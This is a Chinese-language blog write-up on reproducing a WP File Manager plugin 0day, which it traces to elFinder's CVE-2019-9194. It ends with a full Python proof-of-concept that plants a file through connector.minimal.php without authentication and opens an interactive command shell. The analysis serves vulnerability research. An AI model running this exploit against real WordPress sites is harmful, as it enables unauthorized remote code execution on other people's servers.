WordPress文件管理器插件0day漏洞解析

  • A+
所属分类:安全文章

WordPress文件管理器插件0day漏洞解析

文章来源:网友投稿

原创投稿作者:ordar123


昨天好多安全平台发布了WordPress插件WP File Manager的0day漏洞预警,然后我怀着好奇的心情解析了一波,花了些时间总算是解开了这个漏洞的神秘面纱。
WordPress文件管理器插件0day漏洞解析
从预警中可以看到漏洞在/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php,然后里面的关键代码说实话我一开始没看懂,大概意思就是两个文件包含,然后下面run elFinder。

为了弄懂这个我下载了WP File Manager插件6.0版本,下载地址:
https://wordpress.org/plugins/wp-file-manager/advanced/
然后搭建了一个WordPress5.3.2,用phpstrom调试审计这个插件。

先看了两个文件包含,其中一个./vendor/autoload.php文件是不存在的,另一个autoload.php也没什么特别的东西。
然后往下看,在然后我被41行这个给误导了
WordPress文件管理器插件0day漏洞解析

因为断点调试到这一行,就会跳转到一个叫elFinderConnector.class.php的文件里,然后在这个文件160行发现exec()函数,我以为关键点就在这里,然后一直研究这个函数,然后并没有什么实际发现。。。
WordPress文件管理器插件0day漏洞解析

然后 我开始怀疑人生,可能是我太菜了吧,挖不到漏洞,别人都说了这里有0day我都挖不到,我也太菜了吧。。。

当我快要放弃的时候,我又看了一眼漏洞预警,其中几个字打开了我的思路,“这段代码来自elFinder项目”,这个意思是不是说WP File Manager插件使用了elFinder项目的代码,然后elFinder有漏洞。
WordPress文件管理器插件0day漏洞解析

于是,我又去百度elFinder漏洞
WordPress文件管理器插件0day漏洞解析

emmmmmmm。。。。。竟然真有漏洞,还是个CVE,CVE-2019-9194
漏洞原理啥的没细看,这里贴一下https://xz.aliyun.com/t/4444
然后我就找找有没有poc可以用,从exp-db上搜索elFinder,发现一个远程代码执行的链接,打开看看。

发现里面的存在漏洞的文件connector.php跟预警的文件connector.minimal.php挺像的,因为connector.minimal.php是示例文件所以是示例名,实际上正式项目要改成connector.php。应该是这个意思
WordPress文件管理器插件0day漏洞解析

然后就下载这个poc来验证我搭建的环境。
WordPress文件管理器插件0day漏洞解析

因为前面说了那个WP File Manager插件的作者直接搬运了elFinder的代码,所以连示例文件的名字都没有改,所以要稍微修改一下poc,将connector.php改成connector.minimal.php,然后将一句话改为eval,同时为方便调试将print的注释去掉
WordPress文件管理器插件0day漏洞解析

下面是漏洞验证环节:
WordPress文件管理器插件0day漏洞解析

可以看到在wp-contentpluginswp-file-managerlibfiles目录下成功生成了文件,内容为一句话。与漏洞预警中说明的目录是一样的。
WordPress文件管理器插件0day漏洞解析
WordPress文件管理器插件0day漏洞解析
WordPress文件管理器插件0day漏洞解析
WordPress文件管理器插件0day漏洞解析

以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc
 #[+] Author: TUNISIAN CYBER #[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability #[+] Date: 06-05-2015 #[+] Vendor: https://github.com/Studio-42/elFinder #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] Twitter: @TCYB3R #[+] Time Line: #   03-05-2015:Vulnerability Discovered #   03-05-2015:Contacted Vendor #   04-05-2015:No response #   05-05-2015:No response #   06-05-2015:No response #   06-05-2015:Vulnerability published  import cookielib, urllib import urllib2 import sys  print"x20x20+-------------------------------------------------+" print"x20x20| elFinder Remote Command Execution Vulnerability |" print"x20x20|                 TUNISIAN CYBER                 |" print"x20x20+-------------------------------------------------+"   host = raw_input('x20x20Vulnerable Site:') evilfile = raw_input('x20x20EvilFileName:') path=raw_input('x20x20elFinder s Path:')   tcyber = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))  create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw') print create.read()  payload = urllib.urlencode({                            'cmd' : 'put',                            'target' : 'l1_'+evilfile.encode('base64','strict'),                            'content' : ''                            })  write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload) #print write.read() print 'n' while True:    try:        cmd = raw_input('[She3LL]:~# ')         execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))        reverse = execute.read()        print reverse;         if cmd.strip() == 'exit':            break     except Exception:        break  sys.exit()

☆ END ☆

联系/合作/投稿邮箱:[email protected]


WordPress文件管理器插件0day漏洞解析

WordPress文件管理器插件0day漏洞解析
你点的每个赞,我都认真当成了喜欢

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: